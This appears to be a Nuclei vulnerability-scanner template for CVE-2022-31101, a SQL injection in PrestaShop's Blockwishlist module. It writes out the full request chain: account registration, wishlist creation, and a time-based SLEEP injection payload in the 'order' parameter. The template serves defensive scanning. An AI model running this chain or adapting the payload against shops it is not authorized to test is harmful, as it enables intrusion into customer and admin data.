id: CVE-2022-31101

info:
  name: Prestashop Blockwishlist 2.1.0 SQL Injection
  author: mastercho
  severity: high
  description: |
    Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.
  impact: |
    Authenticated attackers can exploit SQL injection in the Blockwishlist module to extract sensitive database information including customer details, order data, and admin credentials from the PrestaShop database.
  remediation: |
    Update Prestashop Blockwishlist module to a version newer than 2.1.0 that properly sanitizes user input and uses parameterized queries.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31101
    - https://github.com/PrestaShop/blockwishlist/security/advisories/GHSA-2jx3-5j9v-prpp
    - https://packetstormsecurity.com/files/168003/Prestashop-Blockwishlist-2.1.0-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2022-31101
    cwe-id: CWE-89
    epss-score: 0.56987
    epss-percentile: 0.98169
    cpe: cpe:2.3:a:prestashop:blockwishlist:*:*:*:*:*:*:*:*
  metadata:
    max-request: 8
    vendor: prestashop
    product: blockwishlist
  tags: packetstorm,cve,cve2022,prestashop,prestashop-module,sqli,intrusive

variables:
  first_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
  last_name: "{{rand_base(4, 'abcdefghijklmnopqrstuvwxyz')}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  password: "{{rand_base(8)}}"

flow: |
  http(1) && http(2) && http(3) && http(4) && (template["id_wishlist"] && template["id_wishlist"][0] ? (http(7) && http(8)) : (http(5) && http(6) && http(7) && http(8)))

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/blockwishlist/config.xml"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"

    host-redirects: true
    max-redirects: 3

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
        internal: true

      - type: word
        part: body
        words:
          - "Wishlist block"
        internal: true

      - type: dsl
        name: version_check
        dsl:
          - compare_versions(version, '>= 2.0.0', '<= 2.1.0')
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: id_product_raw
        part: body
        group: 1
        regex:
          - '/(\d+)-[a-z0-9\-]+\.html'
        internal: true

      - type: dsl
        name: id_product
        dsl:
          - index(id_product_raw, 0)
        internal: true

  - raw:
      - |
        POST /{{login_path}}?create_account=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id_gender=1&firstname={{first_name}}&lastname={{last_name}}&email={{email}}&password={{password}}&birthday=&customer_privacy=1&psgdpr=1&submitCreate=1

    payloads:
      login_path:
        - login
        - en/login
        - fr/login
        - de/login
        - pl/login
        - es/login
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - regex('PrestaShop-[0-9a-f]{32}', header)
          - status_code == 302
        condition: and
        internal: true

  - raw:
      - |
        GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id_wishlist"'
          - '"nbProducts"'
          - '"name"'
        condition: and
        internal: true

    extractors:
      - type: json
        name: id_wishlist_raw
        part: body
        json:
          - .wishlists[0].id_wishlist
        internal: true

      - type: dsl
        name: id_wishlist
        dsl:
          - index(id_wishlist_raw, 0)
        internal: true

  - id: create-wishlist
    raw:
      - |
        GET /module/blockwishlist/action?action=createNewWishlist&params[name]=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"success"'
        internal: true

  - id: fetch-new-wishlist
    raw:
      - |
        GET /module/blockwishlist/action?action=getAllWishlist HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: id_wishlist_raw
        part: body
        group: 1
        regex:
          - '"id_wishlist":"(\d+)"'
        internal: true

      - type: dsl
        name: id_wishlist
        dsl:
          - 'index(id_wishlist_raw, 0)'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - '"id_wishlist"'
          - '"nbProducts"'
          - '"name"'
        condition: and
        internal: true

  - id: add-product
    raw:
      - |
        POST /module/blockwishlist/action?action=addProductToWishlist&params[id_product]={{id_product}}&params[idWishList]={{id_wishlist_raw}}&params[quantity]=1&params[id_product_attribute]=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
        internal: true

  - id: sql-inj
    raw:
      - |
        GET /module/blockwishlist/view?id_wishlist={{id_wishlist_raw}}&order=p.name,%20(select%20case%20when%20(1=1)%20then%20(SELECT%20SLEEP(7))%20else%201%20end);%20--%20.asc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: time-based
        dsl:
          - 'duration >= 7'
          - 'contains(to_lower(body), "prestashop")'
        condition: and
# digest: 4a0a00473045022100e047a9ad3777f6c94a7c4b5d963f5c50d3af0a0ebbb8f5197d99aa79e0e70a0b022060db8cc64fd2e88dcbc67ddf4070479de170a6b6bd4d594c3e76141d328f039b:922c64590222798bb761d5b6d8e72950